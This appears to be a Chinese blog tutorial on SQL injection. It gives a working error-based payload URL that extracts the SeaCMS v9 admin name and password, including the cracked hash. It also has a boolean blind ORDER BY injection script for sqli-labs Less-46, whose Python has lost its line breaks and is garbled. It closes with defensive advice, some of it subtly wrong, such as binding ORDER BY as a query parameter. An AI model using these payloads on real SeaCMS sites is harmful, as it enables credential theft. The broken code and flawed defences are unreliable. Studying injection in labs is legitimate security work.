seacmsv9注入管理员账号密码
seacms介绍
海洋影视管理系统(seacms,海洋cms)是一套专为不同需求的站长而设计的视频点播系统,采用的是 php5.X+mysql 的架构,使用 fofa 搜索可以看到存在 400+的记录:
因为seacms开源,所以seacmsv9系统数据库(mysql)为seacms,存放管理员账号的表为 sea_admin,表中存放管理员姓名的字段为name,存放管理员密码的字段为password
用以下语句尝试注入
http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20name%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`
并未成功,抓包后,发现执行的Sql为:
SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment
WHERE m_type=1 AND id in (@`\'`, updatexml(1,concat_ws(0x20,0x5c,(select name from#
sea_admin limit 0,1)),1), @`\'`) ORDER BY id DESC
在数据库seacms里执行这个SQL语句,没有报错出管理员,查询该表信息,显示该表为空,修改为查询database(),却能爆出数据库名
正常使用中,sea_comment表应该是有数据的,我们插入一条数据,再次执行开始的SQL语句,发现依旧未执行,插入第二条数据,再次执行SQL语句,可以执行。
此时,在浏览器再次注入语句,成功爆破出账号
密码同理:
http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20password%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`
密码为:f297a57a5a743894a0e4,因为这是由md5加密的,破解得到:admin
绕过ORDER BY 注入
以sqlilabs-less46为例
用参数sort分别传入id、username
观察源码可知,该代码是通过sort传入的字段进行排序,我们可以用sort=if(表达式,id,username)的方式注入,用BS爬取表格中username下一格的值是否等于Dumb来判断表达式的真假,并使用二分查找加快注入速度,从而实现boolen注入,代码如下
import requests
from bs4 import BeautifulSoupdef get_username(resp):soup = BeautifulSoup(resp,'html.parser')username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].textreturn usernamedef inject_database_boolen():tables = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "resp = requests.get(url)if 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breaktables += chr(mid)i += 1print(tables)def inject_table_boolen():tables = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from \information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "resp = requests.get(url)if 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breaktables += chr(mid)i += 1print(tables)def inject_column_boolen():tables = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from \information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "resp = requests.get(url)if 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breaktables += chr(mid)i += 1print(tables)def inject_data_boolen():tables = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) \from users),{i},1))>{mid},id,username) -- "resp = requests.get(url)if 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breaktables += chr(mid)i += 1print(tables)if __name__ == '__main__':inject_data_boolen()
结果如下:
过滤information_schema
在 SQL 注入攻击中,information_schema是攻击者常用的数据库之一,因为它存储了关于数据库、表、列等元数据信息。攻击者可以通过查询information_schema来获取数据库结构,从而进一步实施攻击。
为了防止攻击者利用information_schema,可以采取以下措施来过滤或限制对information_schema的访问:
底层代码过滤
在应用程序代码中,对用户输入进行严格的过滤,禁止包含information_schema的关键字。
if (stripos($orderby, 'information_schema') !== false) {die('Invalid input: information_schema is not allowed');
}
使用stripos函数检查用户输入中是否包含information_schema;如果包括,则直接终止程序并返回错误信息。
使用正则表达式
通过正则表达式匹配用户输入,禁止包含information_schema或其他敏感关键字。
if (preg_match('/information_schema/i', $orderby)) {die('Invalid input: information_schema is not allowed');
}
使用preg_match函数检查用户输入中是否包含information_schema(不区分大小写);如果包括,则终止程序并返回错误信息。
限制数据库用户权限
通过限制数据库用户的权限,禁止其对information_schema的访问。
REVOKE SELECT ON information_schema.* FROM 'your_db_user'@'localhost';
使用REVOKE语句撤销数据库用户对information_schema的查询权限;这样即使攻击者尝试访问information_schema,也会被拒绝。
使用只读用户
为应用程序分配一个只读用户,该用户只能访问特定的数据库和表。
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'secure_password';
GRANT SELECT ON your_database.* TO 'app_user'@'localhost';
创建一个新的数据库用户app_user,并为其分配对your_database的只读权限;这样即使攻击者成功注入 SQL,也无法访问information_schema或其他数据库。
使用参数化查询
$stmt = $pdo->prepare("SELECT * FROM sea_content ORDER BY :orderby LIMIT :limit");
$stmt->execute(['orderby' => $_GET['orderby'], 'limit' => $_GET['limit']]);
使用 PDO 或 MySQLi 的参数化查询功能,防止 SQL 注入。
总结
过滤information_schema是防止 SQL 注入攻击的重要措施之一。通过以下方法可以有效防御:
在代码层过滤information_schema关键字;
限制数据库用户权限,禁止访问information_schema;
使用 WAF 拦截包含information_schema的请求;
使用参数化查询,避免直接拼接用户输入;
定期进行安全审计,修复潜在漏洞。
通过综合运用这些措施,可以显著提高系统的安全性,防止攻击者利用information_schema进行 SQL 注入攻击。